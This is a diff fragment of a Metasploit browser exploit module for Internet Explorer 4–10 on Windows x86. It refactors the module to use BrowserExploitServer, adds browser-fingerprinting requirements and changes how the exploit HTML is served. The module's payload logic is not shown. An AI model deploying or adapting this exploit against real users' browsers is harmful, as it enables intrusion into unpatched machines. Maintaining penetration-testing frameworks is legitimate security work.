|
8 | 8 | class Metasploit4 < Msf::Exploit::Remote
|
9 | 9 | Rank = ExcellentRanking
|
10 | 10 |
|
11 |
| - include Msf::Exploit::Remote::HttpServer::HTML |
| 11 | + include Msf::Exploit::Remote::BrowserExploitServer |
12 | 12 | include Msf::Exploit::Remote::BrowserAutopwn
|
13 | 13 | include Msf::Exploit::Powershell
|
14 | 14 |
|
@@ -54,6 +54,14 @@ def initialize(info={})
|
54 | 54 | [
|
55 | 55 | [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
56 | 56 | ],
|
| 57 | + 'BrowserRequirements' => |
| 58 | + { |
| 59 | + :source => /script|headers/i, |
| 60 | + :ua_name => HttpClients::IE, |
| 61 | + :os_name => /win/i, |
| 62 | + :arch => 'x86', |
| 63 | + :ua_ver => lambda { |ver| ver.to_i.between?(4, 10) } |
| 64 | + }, |
57 | 65 | 'DefaultOptions' =>
|
58 | 66 | {
|
59 | 67 | 'HTTP::compression' => 'gzip'
|
@@ -295,26 +303,10 @@ def get_html()
|
295 | 303 |
|
296 | 304 | end
|
297 | 305 |
|
298 |
| - def on_request_uri(cli, request) |
299 |
| - agent = request.headers['User-Agent'] |
300 |
| - |
| 306 | + def on_request_exploit(cli, request, target_info) |
301 | 307 | print_status("Requesting: #{request.uri}")
|
302 |
| - if agent =~ /MSIE/ and agent =~ /Windows/ |
303 |
| - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' |
304 |
| - print_status("Detected Internet Explorer in version: #{ie}") |
305 |
| - if ie.to_i <= 3 or ie.to_i > 10 |
306 |
| - print_error("This version is NOT vulnerable") |
307 |
| - send_not_found(cli) |
308 |
| - return |
309 |
| - end |
310 |
| - else |
311 |
| - print_error("This Browser or OS is NOT vulnerable") |
312 |
| - send_not_found(cli) |
313 |
| - return |
314 |
| - end |
315 |
| - |
316 |
| - html = get_html() |
317 |
| - send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) |
| 308 | + send_exploit_html(cli, get_html()) |
318 | 309 | end
|
| 310 | + |
319 | 311 | end
|
320 | 312 |
|
0 commit comments